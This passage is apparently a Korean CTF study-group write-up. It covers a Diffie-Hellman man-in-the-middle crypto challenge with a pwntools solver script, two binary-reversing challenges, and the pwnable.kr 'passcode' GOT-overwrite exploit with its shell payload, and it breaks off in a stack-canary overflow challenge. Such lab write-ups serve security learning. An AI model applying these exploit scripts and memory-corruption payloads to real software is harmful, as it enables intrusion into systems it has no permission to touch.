[CAUTION] ์คํฐ๋ - 11
๐ก Caution ์คํฐ๋ 11ํ์ฐจ
์ํธํ - 1
#!/usr/bin/python3
from Cryptodome.Util.number import getPrime
from Cryptodome.Util.Padding import pad, unpad
from Cryptodome.Cipher import AES
import hashlib
import random
class Person(object):
def __init__(self, p):
self.p = p
self.g = 2
self.x = random.randint(2, self.p - 1)
def calc_key(self):
self.k = pow(self.g, self.x, self.p)
return self.k
def set_shared_key(self, k):
self.sk = pow(k, self.x, self.p)
aes_key = hashlib.md5(str(self.sk).encode()).digest()
self.cipher = AES.new(aes_key, AES.MODE_ECB)
def encrypt(self, pt):
return self.cipher.encrypt(pad(pt, 16)).hex()
def decrypt(self, ct):
return unpad(self.cipher.decrypt(bytes.fromhex(ct)), 16)
flag = open("flag", "r").read().encode()
prime = getPrime(1024)
print(f"Prime: {hex(prime)}")
alice = Person(prime)
bob = Person(prime)
alice_k = alice.calc_key()
print(f"Alice sends her key to Bob. Key: {hex(alice_k)}")
print("Let's inturrupt !")
alice_k = int(input(">> "))
if alice_k == alice.g:
exit("Malicious key !!")
bob.set_shared_key(alice_k)
bob_k = bob.calc_key()
print(f"Bob sends his key to Alice. Key: {hex(bob_k)}")
print("Let's inturrupt !")
bob_k = int(input(">> "))
if bob_k == bob.g:
exit("Malicious key !!")
alice.set_shared_key(bob_k)
print("They are sharing the part of flag")
print(f"Alice: {alice.encrypt(flag[:len(flag) // 2])}")
print(f"Bob: {bob.encrypt(flag[len(flag) // 2:])}")
๋ํผ ํฌ๋ง์ ์ค๊ฐ์ ๊ณต๊ฒฉ์ ์ด์ฉํ์ฌ ํ๋๊ทธ๋ฅผ ํ๋ํ๋ ๋ฌธ์ ์ด๋ค.
์ ์ฒด ๊ณต๊ฒฉ ํ๋ก์ธ์ค๋ ๋ค์๊ณผ ๊ฐ๋ค.
- attacker๋ ์ค๊ฐ์์ alice๊ฐ bob์๊ฒ ๋ณด๋ด๋
2^a mod p
๋ฅผ ๋ฐ๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ด ๊ฐ์ ์ ์ฅํ๋ค. - attacker๋ alice์๊ฒ ๋ฉ์์ง๋ฅผ ๋ฐ๊ณ bob์๊ฒ๋
2^5 mod p
๋ฅผ ์ ์กํ๋ค.bob์ attacker์๊ฒ ๋ฐ์2^5 mod p
๋ฅผ ํตํด์(2^5)b mod p
๋ฅผ ๊ณ์ฐํ์ฌ attacker <-> bob์ ๊ณต์ ํค๋ฅผ ๊ณ์ฐํด ๋ธ๋ค. - bob์
2^b mod p
๋ฅผ ์ ์กํ๋ค. attacker๋ ์ด๋ฅผ ๋ฐ๊ณ attacker <-> bob์ ๊ณต์ ํค์ธ(2^b)^5 mod p
๋ฅผ ๊ณ์ฐํ์ฌ ๊ณต์ ํค๋ฅผ ๊ตฌํ๋ค. - ๋ง์ง๋ง์ผ๋ก attacker๋ alice์๊ฒ
2^5 mod p
๋ฅผ ์ ์กํ์ฌ attacker <-> alice๋(2^a)^5 mod p
๋ฅผ ๊ณต์ ํค๋ก ๊ณ์ฐํ๋ค.
์ด๋ ๊ฒ ํ์ฌ ๊ทธ๋ฆผ๊ณผ ๊ฐ์ด Attacker <=> alice, Attacker <=> bob ๊ฐ์ ํต์ ์ด ๋๋ ๊ฒ์ด๋ฉฐ ์ด์๊ฐ์ ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ ์ด์ ๋ ๋ํผ ํฌ๋ง์ ์ฝ์ ์ธ ์ง๊ธ ํค ๊ตํ์ ํ๋ ์๋๊ฐ ์ง์ง ๊ทธ ์๋์ธ์ง๋ฅผ ํ์ธํ๋ โ์ธ์ฆโ๊ธฐ๋ฅ์ด ์๊ธฐ ๋๋ฌธ์ด๋ค.
์์ ์ ์ฐจ๋๋ก ์ฝ๋๋ฅผ ์์ฑํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
sol.py
#!/usr/bin/python3
from pwn import *
from Cryptodome.Util.number import getPrime
from Cryptodome.Util.Padding import pad, unpad
from Cryptodome.Cipher import AES
import hashlib
import random
class Person(object):
def __init__(self, p):
self.p = p
self.g = 2
self.x = 5
def calc_key(self):
self.k = pow(self.g, self.x, self.p)
return self.k
def set_shared_key(self, k):
self.sk = pow(k, self.x, self.p)
aes_key = hashlib.md5(str(self.sk).encode()).digest()
self.cipher = AES.new(aes_key, AES.MODE_ECB)
def encrypt(self, pt):
return self.cipher.encrypt(pad(pt, 16)).hex()
def decrypt(self, ct):
return unpad(self.cipher.decrypt(bytes.fromhex(ct)), 16)
p = remote("host1.dreamhack.games",17625)
# context.log_level = 10
# get prime
p.recvuntil(b"Prime: ")
prime = int(p.recvline()[:-1],16)
attacker_Alice = Person(prime)
attacker_Bob = Person(prime)
# set key Attacker <=> Alice
p.recvuntil(b"Alice sends her key to Bob. Key: ")
alice_public = int(p.recvline()[:-1],16)
attacker_Alice.set_shared_key(alice_public)
p.sendafter(b">> ",b'32\n')
# set key Attacker <=> Bob
p.recvuntil(b"Bob sends his key to Alice. Key: ")
bob_public = int(p.recvline()[:-1],16)
attacker_Bob.set_shared_key(bob_public)
p.sendafter(b">> ",b'32\n')
# decrypt flag
p.recvuntil(b"Alice: ")
alice_encrypt_message = p.recvline()[:-1].decode()
p.recvuntil(b"Bob: ")
bob_encrypt_message = p.recvline()[:-1].decode()
flag=''
flag = attacker_Alice.decrypt(alice_encrypt_message)
flag += attacker_Bob.decrypt(bob_encrypt_message)
print("FLAG : {}".format(flag))
์คํํ๋ฉด ๋ค์๊ณผ๊ฐ์ด ํ๋๊ทธ๋ฅผ ๊ตฌํ ์ ์๋ค.
๋ฆฌ๋ฒ์ฑ - 1
ํ๋ก๊ทธ๋จ์ ์์ํด ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด Input flag๋ฅผ ์ ๋ ฅํ๋ผ๊ณ ๋์จ๋ค.
IDA๋ก Input flag๋ฅผ ํ ์คํธ๋ก ์ฐพ์๋ณธ๋ค.[Search] -> [text]
ํด๋น ํ ์คํธ๋ฅผ ์ฐธ์กฐํ๊ณ ์๋ ํจ์๋ฅผ ๋ถ์ ํด๋ณธ๋ค.
__int64 sub_1400011C0()
{
signed int i; // [rsp+20h] [rbp-48h]
char Buf2; // [rsp+28h] [rbp-40h]
char v3; // [rsp+29h] [rbp-3Fh]
char v4; // [rsp+2Ah] [rbp-3Eh]
char v5; // [rsp+2Bh] [rbp-3Dh]
char v6; // [rsp+2Ch] [rbp-3Ch]
char v7; // [rsp+2Dh] [rbp-3Bh]
char v8; // [rsp+2Eh] [rbp-3Ah]
char v9; // [rsp+2Fh] [rbp-39h]
char v10; // [rsp+30h] [rbp-38h]
char v11; // [rsp+31h] [rbp-37h]
char v12; // [rsp+32h] [rbp-36h]
char v13; // [rsp+33h] [rbp-35h]
char v14; // [rsp+34h] [rbp-34h]
char v15; // [rsp+35h] [rbp-33h]
char v16; // [rsp+36h] [rbp-32h]
char v17; // [rsp+37h] [rbp-31h]
char v18; // [rsp+38h] [rbp-30h]
char v19; // [rsp+39h] [rbp-2Fh]
char v20; // [rsp+3Ah] [rbp-2Eh]
char v21; // [rsp+3Bh] [rbp-2Dh]
char v22; // [rsp+3Ch] [rbp-2Ch]
char Buf1[24]; // [rsp+40h] [rbp-28h]
Buf2 = 63;
v3 = 59;
v4 = 70;
v5 = 74;
v6 = 68;
v7 = 110;
v8 = 118;
v9 = 56;
v10 = 100;
v11 = 119;
v12 = 56;
v13 = 108;
v14 = 82;
v15 = 117;
v16 = 108;
v17 = 121;
v18 = 82;
v19 = 109;
v20 = 109;
v21 = 116;
v22 = 0;
memset(Buf1, 0, 0x15ui64);
sub_140001070(aS_1, aInputFlag);
sub_140001140(aS, Buf1);
for ( i = 0; i < 20; ++i )
{
Buf1[i] ^= 0x11u;
Buf1[i] ^= 0x1Bu;
Buf1[i] -= 3;
}
if ( !memcmp(Buf1, &Buf2, 0x14ui64) )
sub_140001070(aS_0, aGoodThisIsFlag);
else
sub_140001070(&unk_140004038, aNoThisIsNotFla);
return 0i64;
}
๋ญ๊ฐ ๊ธธ์ด ๋ณด์ด์ง๋ง, ์์ rbp๋ฅผ ๊ธฐ์ค์ผ๋ก ์คํ์ ๋ถ์ํด๋ณด๋ฉด,v3 ~ v22 ๊น์ง๋ ์ ๋ถ buf2์ฃผ์์์ ์์ํ๋ ๋ฌธ์์ด ์์ ์ ์ ์๋ค. ๋ฐ๋ผ์ ์ฝ๋๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์ค์ผ ์ ์๋ค.
__int64 sub_1400011C0()
{
signed int i; // [rsp+20h] [rbp-48h]
char Buf2; // [rsp+28h] [rbp-40h] // ์ด๊ธฐํ. ์ ์ฐธ์กฐ
memset(Buf1, 0, 0x15ui64);
sub_140001070(aS_1, aInputFlag);
sub_140001140(aS, Buf1);
// ์์ 3๊ฐ๊ฐ buf1์ ์ฌ์ฉ์ input์ ๋ด๋ ํจ์
for ( i = 0; i < 20; ++i )
{
Buf1[i] ^= 0x11u;
Buf1[i] ^= 0x1Bu;
Buf1[i] -= 3;
}
// for๋ฌธ์ ๋๋ฉด์ buf1 20๊ฐ์ ๋ํด ์ฐ์ฐ ์ํ
if ( !memcmp(Buf1, &Buf2, 0x14ui64) )
// ์ฐ์ฐ์ด ๋๋ buf1๊ณผ buf2์ ๊ฒฐ๊ณผ๊ฐ ๊ฐ์ผ๋ฉด Clear
sub_140001070(aS_0, aGoodThisIsFlag);
else
sub_140001070(&unk_140004038, aNoThisIsNotFla);
return 0i64;
}
์ฌ์ฉ์ input์ ๋ํด์ for๋ฌธ ์ฐ์ฐ์ ์ํํ๊ณ , ๊ทธ ๊ฒฐ๊ณผ๋ฅผ buf2์ ๊ฐ์์ง ๋น๊ตํ๋ ๋ก์ง์ด๋ค.
ํ์ฌ buf2 ๋ฐฐ์ด์ ๊ฐ์ ์๊ธฐ ๋๋ฌธ์ for๋ฌธ ์ฐ์ฐ์ ๊ฑฐ๊พธ๋ก buf2์ ์ ์ฉํ๋ฉด, buf1 ๊ฐ์ ์ ์ ์๋ค.
buf2 = [63,59,70,74,68,110,118,56,100,119,56,108,82,117,108,121,82,109,109,116]
buf1 = ''
for i in buf2:
tmp = i + 3
tmp ^= 27
tmp ^= 17
buf1 += chr(tmp)
for i in buf1:
print(i,end='')
์คํํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
๋ฆฌ๋ฒ์ฑ - 2
ํ๋ก๊ทธ๋จ์ ์์ํ๋ฉด ์ฌ์ฉ์ input์ ๋ฐ๋๋ค.
IDA๋ฅผ ์ผ์ Input ๋ฌธ์์ด์ ์ฐพ๋๋ค. [Search] -> [Text]
ํด๋น ๋ฌธ์์ด์ ์ฐธ์กฐํ๊ณ ์๋ ํจ์ sub_140001350์ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
__int64 sub_140001350()
{
char v1; // [rsp+20h] [rbp-118h]
memset(&v1, 0, 0x100ui64);
sub_1400013E0("Input : ");
sub_140001440("%256s", &v1);
if ( (unsigned int)sub_140001000(&v1) )
puts("Correct");
else
puts("Wrong");
return 0i64;
}
v1์ input์ ์ ์ฅํ๊ณ , sub_140001000 ํจ์์ v1์ ๋๊ฒจ์ค ๋ค์ ๊ทธ ๊ฒฐ๊ณผ๊ฐ true๋ฉด correct๋ฅผ ์ถ๋ ฅํ๋ค.
sub_140001000 ํจ์๋ ๋ค์๊ณผ ๊ฐ๋ค.
_BOOL8 __fastcall sub_140001000(_BYTE *a1)
{
if ( *a1 != 67 )
return 0i64;
if ( a1[1] != 111 )
return 0i64;
if ( a1[2] != 109 )
return 0i64;
if ( a1[3] != 112 )
return 0i64;
if ( a1[4] != 97 )
return 0i64;
if ( a1[5] != 114 )
return 0i64;
if ( a1[6] != 51 )
return 0i64;
if ( a1[7] != 95 )
return 0i64;
if ( a1[8] != 116 )
return 0i64;
if ( a1[9] != 104 )
return 0i64;
if ( a1[10] != 101 )
return 0i64;
if ( a1[11] != 95 )
return 0i64;
if ( a1[12] != 99 )
return 0i64;
if ( a1[13] != 104 )
return 0i64;
if ( a1[14] != 52 )
return 0i64;
if ( a1[15] != 114 )
return 0i64;
if ( a1[16] != 97 )
return 0i64;
if ( a1[17] != 99 )
return 0i64;
if ( a1[18] != 116 )
return 0i64;
if ( a1[19] != 51 )
return 0i64;
if ( a1[20] == 114 )
return a1[21] == 0;
return 0i64;
}
๋จ์ํ ๋ฐฐ์ด์ ์ธ๋ฑ์ค์ ํด๋นํ๋ ๊ฐ์ด ๊ฐ์์ง๋ง ๋น๊ตํ๊ณ ์๋ค. ์์ ๋ด์ฉ์ ํ์ด์ฌ ์ฝ๋๋ก ์์ฑํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
a1 = [67,111,109,112,97,114,51,95,116,104,101,95,99,104,52,114,97,99,116,51,114]
for i in a1:
print(chr(i),end='')
์คํํ๋ฉด ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
์์คํ - 1
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
์ฝ๋๋ฅผ ๋ณด๋ฉด login ํจ์์ ๋ค์ ๋ถ๋ถ์ด ์๋ชป ์ฝ๋ฉ๋์๋ค.
- printf("enter passcode1 : ");
- scanf("%d", passcode1);
- fflush(stdin);
์๋ ์ ์์ ์ผ๋ก scanf ํจ์๋ฅผ ์ด์ฉํ๋ ค๋ฉด, ๋ณ์์ ์ฃผ์๊ฐ์ ๋๊ฒจ ์ฃผ๊ธฐ ์ํด์ &passcode1๊ณผ ๊ฐ์ด ๋ณ์๋ฅผ ๋๊ฒจ์ค์ผ ํ๋ค. ํ์ง๋ง ํ์ฌ ๋ฌธ์ ์์๋ passcode1๋ก ๋ณ์๋ฅผ ๋๊ฒจ์ฃผ๊ณ ์๋ค. ์ด๋ ๊ฒ ๋๋ฉด ์ด๋ป๊ฒ ์๋ํ ๊น?
๋ฉ๋ชจ๋ฆฌ ์์ passcode๋ณ์์ ์ฃผ์๊ฐ 0xaabb, ๋ค์ด์๋ ๊ฐ์ด 0xccdd๋ผ๊ณ ํ์.
๊ธฐ์กด scanf ํจ์๋ฅผ ์ฌ์ฉํ๋ฉด, 0xaabb ์ฃผ์์ ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ๊ฐ์ด ๋ค์ด๊ฐ๊ฒ ๋๋ค. ํ์ง๋ง, ํ์ฌ๋ 0xccdd ์ฃผ์์ ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ๊ฐ์ด ์ ๋ ฅ๋๋ ๊ฒ์ด๋ค.
์ฆ ์ด๊ธฐํ๋์ง ์์ passcode1 ์ฃผ์์ ์กด์ฌํ๋ ํน์ ๊ฐ์ ์ฃผ์๋ก ํ์ฌ ์ ๊ทผํ๊ฒ ๋๋ค. ์ด ๊ฐ์ ํ์์๋ dummy๊ฐ์ผ๋ก ์ทจ๊ธํ์ง๋ง ์ ํํ๊ฒ๋ ์ด์ ์ ์ฌ์ฉ๋ ๊ฐ์ด ๊ทธ๋๋ก ๋ฉ๋ชจ๋ฆฌ์ ๋จ์์๊ฒ ๋๋ค.
๊ทธ๋ ๋ค๋ฉด ๊ทธ๋ฆผ์์ 0xaabb์ฃผ์์ ์ ์ฅ๋๋ ๊ฐ์ ์ด์ ์ ๋ฏธ๋ฆฌ ์ ๊ทผ ๊ฐ๋ฅํ๋ค๋ฉด, ๊ทธ๋ฆผ์์ 0xccdd๊ฐ ์๋ ๋ด๊ฐ ์ํ๋ ๊ฐ์ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅํด๋๊ณ scanf๋ก ํด๋น ์ฃผ์์ ๋ด๊ฐ ์ํ๋ ๊ฐ์ ์ธ ์ ์๊ฒ ๋๋ค.
main ํจ์๋ฅผ ๋ณด๋ฉด welcome()
ํจ์๋ฅผ ํธ์ถํ๊ณ login()
ํจ์๋ฅผ ํธ์ถํ๋ค. ์ฆ welcome()ํจ์์์ ์ฌ์ฉ๋ ์คํ ๊ณต๊ฐ๊ณผ login()ํจ์์์ ์ฌ์ฉ๋๋ ์คํ ๊ณต๊ฐ์ด ๊ฒน์น๋ค.
๋ฐ๋ผ์ welcome()ํจ์์ login()ํจ์์ ์คํ์ ๋น๊ตํด์ผ ํ๋ค.
๋จผ์ welcome ํจ์๋ฅผ ๋์ค์ด์ ๋ธ ํ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
gdb-peda$ disass welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88 //์ด 136๋ฐ์ดํธ ๊ณต๊ฐ ์ฌ์ฉ
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70] //ebp-112 ์ฃผ์๊ฐ name[100] ๊ณต๊ฐ
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
login()ํจ์๋ฅผ ๋์ค์ด์ ๋ธํ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
gdb-peda$ disass login
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28 //์ด 40๋ฐ์ดํธ ๊ณต๊ฐ
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6 //passcode1์ ebp-16
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9 //passcode2๋ ebp-12
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
๋์ค์ด์ ๋ธ ๋ด์ฉ์ ํ ๋๋ก ์คํ์ ๋น๊ตํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค. ๋๊ฐ์ ํจ์์์ EBP ๊ฐ์ ์๋ก ๊ฐ๋ค.
๊ทธ๋ฆผ์ ๋ณด๋ฉด ์๊ฒ ์ง๋ง, Name[100]์์ ์์ฑ๋ ๋ง์ง๋ง 4byte์ ์ฐ์ฌ์ง ๋ด์ฉ์ด ์ฌ์ฌ์ฉ๋์ด login()ํจ์์์ ์ ๋ ฅ๋๋ ๊ฐ์ ์ฃผ์๊ฐ ๋๋ ๊ฒ์ ๋ณผ ์์๋ค.
๋ฐ๋ผ์ Name[100]์ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํ๋ฉด ๋๋ค.
dummy[96] + "๋ด๊ฐ ๋ณ๊ฒฝํ๊ณ ์ถ์ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์ 4byte"
์ด๋ ๊ฒ ์ค์ ํด ์ฃผ๋ฉด scanf์์ ์
๋ ฅ๋ ๊ฐ์ด ๋ด๊ฐ ๋ณ๊ฒฝํ๊ณ ์ถ์ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์
์ ๊ฐ์ ์ ์ฅํ๊ฒ ๋๋ค.
๊ทธ๋ฌ๋ฉด ์ด์ 1) ์ด๋ ํ ์ฃผ์์ 2) ์ด๋ ํ ๊ฐ์ ๋ฃ์ด์ผ ํ ์ง ์๊ฐํด ๋ด์ผํ๋ค.
PLT,GOT
loginํจ์ ๋ด์์ scanf๋ฅผ ์ํํ๊ณ ๋์ fflush์ plt๋ฅผ ์ฐธ์กฐํ์ฌ got ํ ์ด๋ธ๋ก ์ธ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ์ค์ fflush ํจ์์ ์ฃผ์๋ฅผ ๋ฐ์์จ๋ค. ์ด๋ฅผ ์ด์ฉํด์ fflush์ got๋ฅผ ๋ณ๊ฒฝํ์ฌ fflush ํจ์๊ฐ ์๋ ๋ค๋ฅธ ๊ณณ์ผ๋ก ํ๋ก๊ทธ๋จ์ ์ํ์ ๋ณ๊ฒฝ์ํจ๋ค.
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
fflush@plt๋ฅผ ์ํํ๋ 0x08048430๋ถ๋ถ์ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค. 0x804a004์ ์ ์ฅ๋ ๊ฐ์ผ๋ก jmp๋ฅผ ์๋ํ๊ณ ์๋ค. ์ฌ๊ธฐ์ 0x804a0040๊ฐ fflush์ got์ด๋ค.
gdb-peda$ x/4i 0x8048430
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
0x8048436 <fflush@plt+6>: push 0x8
0x804843b <fflush@plt+11>: jmp 0x8048410
0x8048440 <__stack_chk_fail@plt>: jmp DWORD PTR ds:0x804a008
์์ง ํ๋ก๊ทธ๋จ์ ์์ํ๊ธฐ ์ ์ด๊ธฐ ๋๋ฌธ์ got ํ ์ด๋ธ์ ๊ฐ์ ์ถ๋ ฅํด๋ณด๋ฉด 0x8048436์ด๋ค. ์ด๋ fflush@plt+6 ์ด๋ค.
gdb-peda$ x/xw 0x804a004
0x804a004 <fflush@got.plt>: 0x08048436
์ฆ ์๋๋ผ๋ฉด fflush@plt๋ฅผ ์ฒ์ ์ํํ๋ฉด got ํ ์ด๋ธ(0x804a004)์ ์ ์ฅ๋ plt+6(0x8048436) ์ผ๋ก ์ด๋ํ์ฌ ์ํ์ด ๊ณ์๋๋ค.
ํ์ง๋ง ์ด๋ฅผ ๋ด๊ฐ ์ํ๋ ๊ณณ์ผ๋ก ๋ฐ๊ฟ์ ํ๋ก๊ทธ๋จ ํ๋ฆ์ ๋ฐ๊ฟ ์ ์๋ค.
login ํจ์์ ๋์ค์ด์ ๋ธ์ฝ๋๋ฅผ ๋ค์ ๋ณด์. ๊ทธ ์ค +127๋ถ๋ถ์ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
๋ณธ ์ฝ๋์ ๋น๊ต๋ฅผ ํด๋ณด๋ฉด ๋ค์์ ์ฝ๋๋ฅผ ์ํํ๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋๋ผ๊ณ ์ถ์ธกํ ์ ์๋ค.
system("/bin/cat flag");
0x80487af ์ฃผ์์ ๋ด๊ธด ๊ฐ์ ํ์ธํด ๋ณด๋ โ/bin/cat flagโ๊ฐ ๋ง๋ค.
gdb-peda$ x/s 0x80487af
0x80487af: "/bin/cat flag"
์ฆ ๋ง์ฝ 0x080485e3 ๋ถ๋ถ์ผ๋ก ํ๋ก๊ทธ๋จ์ ํ๋ฆ์ ๋ฐ๊พผ๋ค๋ฉด,fflush๊ฐ ์ํ๋์ง ์๊ณ ๋ฐ๋ก system(โ/bin/cat flagโ)๊ฐ ์ํ๋๋ ๊ฒ์ด๋ค.
exploit
์ด์ ๋ด์ฉ์ ์ ๋ฆฌํ์ฌ exploit์ ํด๋ณด์
- welcome() ํจ์์์ name[100]์ ์ ๋ ฅ๋๋ ๊ฐ์ ์ ๋ ฅ ๋ฐ์ ๋, dummy[96] + โfflush์ gotโ์ฃผ์๋ฅผ ์ ๋ ฅํด ์ค๋ค.
- scanf๋ก ์ ๋ ฅ๋ฐ์ ๋, 0x80485e3์ด ์ ๋ ฅ๋๊ฒ ํด์ค๋ค. ๊ทธ๋ฌ๋ฉด fflsh์ got์ ํด๋น ๊ฐ์ด ์ ๋ ฅ๋๊ฒ ๋๊ณ fflush๋ฅผ ์ํํ๋ฉด 0x80485e3๋ถํฐ ํ๋ก๊ทธ๋จ์ด ์คํ๋๋ค.
์ด๋ scanf์์ ์ ๋ ฅ๋ฐ๋ ๊ฐ์ %d๋ก ์ ์ฅํ๊ธฐ ๋๋ฌธ์ 10์ง์๋ก ๋ฐ๊ฟ์ ์ ๋ ฅํด์ค์ผ ํ๋ค. 0x80485e3์ด ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅ๋๋ ค๋ฉด 10์ง์๋ก๋ 134514147์ด๋ค.
passcode@pwnable:~$ (python -c 'print("A"*96+"\x04\xa0\x04\x08")';cat) | ./passcode
Toddler\'s Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
134514147
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
flag๋ ๋ค์๊ณผ ๊ฐ๋ค.
Sorry mom.. I got confused about scanf usage :(
์์คํ - 2
์ด๋ฒ ์์คํ ๋ฌธ์ ๋ canary๊ฐ ์ค์ ๋ ์ํ์์ bof ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ flag๋ฅผ ํ๋ํ๋ ๋ฌธ์ ์ด๋ค.
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
๊ธฐ์กด์ bof ๋ฌธ์ ์์ canary๊ฐ์ ์์๋ด์ด ์ด๋ฅผ ๊ณ ๋ คํ์ฌ ret๋ฅผ ๋ฎ์ด์จ์ผ ํ๋ค.
์ฐ์ canary๊ฐ ๋ฉ๋ชจ๋ฆฌ์์ ์ด๋ป๊ฒ ์์นํ๊ณ ์๋์ง๋ฅผ ์๊ธฐ ์ํด์ ๋์ค์ด์ ๋ธ์ ํด๋ณธ๋ค.
gdb-peda$ disass main
Dump of assembler code for function main:
0x00000000000008cd <+0>: push rbp
0x00000000000008ce <+1>: mov rbp,rsp
0x00000000000008d1 <+4>: sub rsp,0x60
0x00000000000008d5 <+8>: mov rax,QWORD PTR fs:0x28 //rax์ canary ๊ฐ ๋ณต์ฌ
